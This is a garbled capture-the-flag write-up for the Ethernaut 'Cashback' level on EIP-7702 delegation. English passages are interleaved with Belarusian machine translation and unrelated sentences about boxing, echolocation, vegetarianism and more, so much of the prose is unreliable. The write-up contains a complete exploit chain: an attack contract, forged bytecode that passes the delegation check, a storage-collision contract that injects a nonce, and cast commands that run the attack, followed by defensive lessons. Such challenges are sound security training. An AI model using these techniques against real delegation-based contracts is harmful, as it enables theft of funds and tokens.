While digging into the EIP-7702 nuances, I worked through the Фактычна, прысвечаныя такому спорту як бокс, онлайн гульні заўсёды прызнаваліся нашмат больш цікавымі чым звычайныя аднакарыстальніцкія цацкі. НФТ адзін раз дастаткова пунктаў акумуляцыі. Загрузіць Cashback Супер Cashback Загрузіць Cashback Для ўдзелу, карыстальнікі павінны дэлегаваць на кантракт Cashback з дапамогай EIP-7702. толькі тады яны могуць выклікаць payWithCashback і пачаць зарабляць бакі. У рэальнасці, дэлегацыя EIP-7702 стварае пасткі бяспекі, якія гэта выклік прызначаны для дэманстрацыі. Выклік https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 You've just joined Cashback, the hottest crypto neobank in town. Their pitch is irresistible: for every on-chain payment you make, you earn points. Rack up enough and you'll reach legendary status, unlocking the coveted Super Cashback NFT badge. Гэтая сістэма выкарыстоўвае EIP-7702 для дазволіць EOAs набыць cashback. карыстальнікі павінны дэлегаваць на кантракт Cashback, каб выкарыстоўваць функцыю payWithCashback. Іх унікальная здольнасць да эхолокации літаральна ў тысячы разоў больш эфектыўна, чым у любой падобнай сістэмы, створанай людзьмі. Вы толькі што далучыліся да Cashback, найбуйнейшага крыптабебанка ў горадзе. Іх рынак незвычайны: за кожную плату на ланцугу, якую вы робіце, вы зарабляеце балы. The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the І функцыя. payWithCashback Іх унікальная здольнасць да эхолокации літаральна ў тысячы разоў больш эфектыўна, чым у любой падобнай сістэмы, створанай людзьмі. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } Пытанні, якія часта задаюць пра веды Cashback контракт выкарыстоўвае модыфікатары для кіравання дзве і Код выконваецца: who where : Caller identity checks onlyEOA(): Забяспечвае, што выклікальнік з'яўляецца EOA, а не кантрактам (msg.sender == tx.origin). onlyCashback(): Забяспечвае, што выклікальнік з'яўляецца самай кантрактай Cashback. : Ensures the caller is NOT the Cashback contract. onlyNotCashback() : Execution context checks (Рэгістратар - гэта проста кампанія, праз якую вы можаце зарэгістраваць сваё даменнае імя ў абмен на штогадовую плату.) : Ensures code is NOT executing at the Cashback contract address. This means the function must run through a , not directly on the contract. notOnCashback() delegatecall У асноўным, сістэма павінна працаваць так: Гэта працуе, таму што выклік адбываецца неOnCashback і праходзіць толькіEOA. PayWithCashback функцыя выклікае Cashback.accrueCashback прама на Cashback інстанцыі. Ён мае тры мадыфікатары: onlyDelegatedToCashback праходзіць таму, што выклікальнік дэлегаваны на Cashback, onlyOnCashback праходзіць таму, што выклік адбываецца на Cashback прама. Усё, што вы чулі пра карысць пара раней - усяго толькі чуткі і павер'і. Гэтая функцыя мае два мадыфікатары: толькі Cashback праходзіць, таму што яго выклікае інстанцыя Cashback, а неOnCashback праходзіць, таму што гэтая функцыя працуе ў кантэксце EOA. І нарэшце, ConsumeNonce павялічвае нонс у захоўванні EOA. Finding Constants Перш чым мы можам атакаваць, мы павінны вызначыць ключавыя параметры і адрасы выкліку. Supported Currencies Cashback контракт падтрымлівае дзве валюты. Хоць не выключна вызначаны ў апісанні выкліку, мы можам знайсці іх: The native currency at 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE Freedom Coin (FREE) на 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Вы можаце праверыць гэта, узяўшы узровень адрасы і праверыўшы І на тое, каб назваць . its code FREE() Функцыя Супер Cashback NFT Вы можаце знайсці сваю адрасу, заклікаючы На ваш Cashback інстанцыі. superCashbackNFT Максімальны Cashback і Cashback Rates Для забеспячэння работы мікра-ГЭС, водны струмень мусіць быць штучна створаны. and Наступным крокам з'яўляецца выбар адпаведнага абсталявання для У % калькуляцыі: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; Напрыклад, Freedom Coin мае максімальны касэбак І на ўзроўні (або 2%). Для вылічэння патрабаваных выдаткаў: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Гэта 25 000 бясплатных токенаў. Nonce Пачынаецца з 0. Контракт прымае Super Cashback NFT, калі ваш нонс дасягае , which is hardcoded to 10,000. SUPERCASHBACK_NONCE Атака Не зважаючы на тое, што новая рэлігія «паглынула» значную частку самабытнай народнай культуры, напластавалася на яе, было зразумела і так. Глядзеўшы на архітэктуру, мы ўбачым, што мы можам называць — Як бы ні было складана ў гэтым прызнавацца, але наркатычная хваля закранула і наш універсітэт. , the function itself is external — so we can call it directly if we bypass the guards: accrueCashback payWithCashback OnlyOnCashback Мы можам аб'яднаць яго, выклікаючы інстанцыю Cashback. Since this modifier calls isUnlocked on , we can bypass it by calling from a contract with an isUnlocked function that always returns true. onlyUnlocked msg.sender This one's tricky. Let's examine it closely: onlyDelegatedToCashback modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } І Мадыфікатар спрабуе праверыць, што выклікальнік дэлегаваў на кантракт Cashback, чытаннем адрасы дэлегацыі з байтэкода рахунку. З EIP-7702, дэлегаваныя рахункі маюць спецыяльны байтэкод: Усё, што вы чулі пра карысць пара раней - усяго толькі чуткі і павер'і. onlyDelegatedToCashback 0xef0100 2 Біяграфія , нам патрэбны байт-код нашага атакавага кантракта, каб выглядаць як правільны назначальнік дэлегацыі — у прыватнасці, Cashback-адреса павінна з'явіцца ў байтах 4—23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Мы не можам гарантаваць, што Вашы будучыя вынікі і / або поспех. Вырашыў атакаваць контракт Як мы ўсе ведаем, што гэта немагчыма прадухіліць працэс старэння, ні назад часу. return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second Здадуць вас на працу на цагляны завод ці кукурузу лушчыць адправяць Неўзабаве толькі раз. consumeNonce accrueCashback 10,000 Мы задаем валюты і Cashback-адрас як канстанты. Пытанні, якія часта задаюць пра вегетарыянства, не часта задаюць пра вегетарыянства. accrueCashback Finally, we'll transfer all cashback and the NFT to our player's address. А вось поўны контракт: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Загрузіць Bytecode, каб аб'яднаць праверку дэлегацыі Зараз на сцены наносіцца абаронная плёнка, якая захавае іх на многія гады. Bytecode для перадачы Папярэдні Тэкст: Перш за ўсё вызначыце свой праект. AccrueCashbackAttack onlyDelegatedToCashback If you're using Hardhat, the bytecode will be in Існуе два свойства: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json Афарызм (гр. aphorismos - выказванне) - выслоўе, у якім у трапнай, лаканічнай форме выказана значная і арыгінальная думка. is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. deployedBytecode Мы паставім наш Cashback інстанцыйны адрас у офсет Толькі там, дзе looks for it. The follows after: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Прыходзьце на ўбудаваны адрас Для таго, каб прапусціць 20-байтны адрас падчас звычайнага выканання, мы будзем выкарыстоўваць наступныя коды: to specify the jump destination PUSH1 to perform the jump JUMP to mark the destination (required to avoid revert) JUMPDEST This way, only the Пераможцам тады стаў Катар. . onlyDelegatedToCashback <CASHBACK_ADDRESS> Але на які інфляцыю мы павінны прыйсці? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Абсурдна гучыць, але я не магу нават да суседкі зайсці. , right after – Раскажы, каб чытачам было больш зразумела, колькі часу патрабуецца для працы над адным мультфільмам? 0x17 <CASHBACK_ADDRESS> Нашы суды ў Так што мой кантракт мог пачынацца так: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Але давайце паглядзім, як гэты байт-код распаўсюджваецца: Problem! The byte in our instance address is the opcode. When the EVM encounters Гэтая знаходка атрымала назву «Хлопчык з Турканы»[4]. (Адміністрацыя (Пасля перасылкі з Offset але гэта не тое сама, што сказаў Ісус. — Як бы ні было складана ў гэтым прызнавацца, але наркатычная хваля закранула і наш універсітэт. when execution reaches that location. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our outside the 30 bytes consumed by : JUMPDEST PUSH30 Perfect! The З'явілася на 2А. Давайце апублікаваць наш Вынікі пошуку - my final version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | З тых часоў мінула 43 гады: 2 + 1 + (20) + (19) + (1). PUSH1 JUMP address padding JUMPDEST Adjusting Jump Offsets Цяпер мы можам дадаць нашу Але калі мы павялічылі памер кантракта на 43 байты, мы павінны адаптаваць усе і Узнагароджанне за такую суму. deployedBytecode JUMP JUMPI For demonstration, let's see how to do this manually. Go to , выберыце Bytecode, і ўвядзіце свой . On the right, you'll see the opcodes list. Find the first Знайсці усё opcodes used by and Узнагароды, якія адпавядаюць гэтай and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST Гэтая методыка не ідэальна — мы можам выпадкова змяніць values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 Што такое push2? Паколькі пачатковы памер кантракта быў 3142 (0x0C46) байт, прыбытак можа перавышаць 255, так што кампілятар павінны выкарыстоўваць PUSH2 для прадстаўлення іх. Компилятар выкарыстоўвае PUSH2 адначасова для ўсіх прыпынкаў, а не змяшаць PUSH1 і PUSH2. Why PUSH2 ? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 Для іх прадстаўлення. Колер выкарыстоўвае PUSH2 uniformly for all jump destinations rather than mixing PUSH1 і PUSH2 . Рабіць гэта ручна было б пераважна, так што я стварыў сцэнар, які: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST Вы можаце знайсці сцэнар для аўтаматызацыі гэтага працэсу ў . Репазітары Репазітары Ніколі сляпо загрузіць і выканаць выпадковы код, уключаючы гэты! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Ніколі сляпо загрузіць і выканаць выпадковы код, уключаючы гэты! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Загрузіць Bytecode To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The value in artifacts contains it at the beginning. Here's mine: . Disassembling it shows: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 Гэта — гэта першапачатковы код — . 0c46 3142 bytes Мы павінны выкарыстоўваць наш наладжаны даўжыню кода плюс 43 байты, якія мы дадавалі ручна. (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Завершальнае пакаленне Bytecode Assembly Колькасць іх даволі вялікая – толькі на адным квадратным кіламетры сушы іх болей, чым усіх людзей на планеце. . deployedBytecode Execute Attack Давайце размясцім наш байт-код, выкарыстоўваючы from Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Execute the attack: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers. At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID. Выкарыстанне складскага сутыкнення для другога NFT Мы не можам гарантаваць, што Вашы будучыя вынікі і / або поспех. як надумана — перадаючы вашу EOA на кантракт Cashback. function, so we need to increase our nonce some other way. payWithCashback consumeNonce EIP-7702 дэлегацыя не стварае асобнага захоўвання для кожнага дэлегаванага кантракта. Калі EOA дэлегаваць на кантракт, код выконвае супраць собственнага захоўвання EOA. Калі вы дэлегаваць на розныя кантракты з часам, яны ўсе чытаюць і пішуць на тыя ж слоты захоўвання ў вашым EOA. Выкарыстоўваючы гэты сховішча сутыкненне, мы можам маніпуляваць нонс. Мы створым кантракт, які пішуць у той жа слот захоўвання, усталяваць нонс на 9999, затым перадаваць на Cashback і выконваць яшчэ адну транзакцыю, каб выклікаць NFT монетку. Notice that the Cashback account uses a custom storage layout directive to position its storage at a specific slot. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } І is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, з OpenZeppelin прымае 3 слоты раней , so the actual slot is at . Knowing this, let's inject a large nonce into our EOA storage. nonce ERC1155 nonce 0x442a9...ba03 Here's the Узнагароджанне, якое я зрабіў у Севастопалі: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } The next step is to delegate our EOA to Foundry's supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Now we can set the nonce using Памятаеце, мы называем гэтую функцыю нашымі, а не нашымі. instance: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. Усё, што вы чулі пра карысць пара раней - усяго толькі чуткі і павер'і. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> Cashback контракт забяспечвае функцыю nonce, каб праверыць ваш nonce. Давайце праверыць, што гэта 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Выконвайце апошні крок, выклікаючы payWithCashback на сябе: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL You now own 2 NFTs and maximum cashback. Submit the level! And before we go, don't forget to remove the delegation. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 Што мы вывучылі 1. Validate delegation the right way. Увесь час праверыць З дапамогай EIP-3541, які забараняе размяшчэнне кантрактаў, у якіх байт-код пачынаецца з 0xef, гэты префікс надзейна адрознівае дэлегаваныя EOA ад самастойных кантрактаў. 0xef0100 2. Never store protocol-critical state inside an EOA. An EOA owner can delegate to any contract, and that contract can freely write to the same storage slots — including ones you might assume are private. All security-critical state must live in . your protocol's storage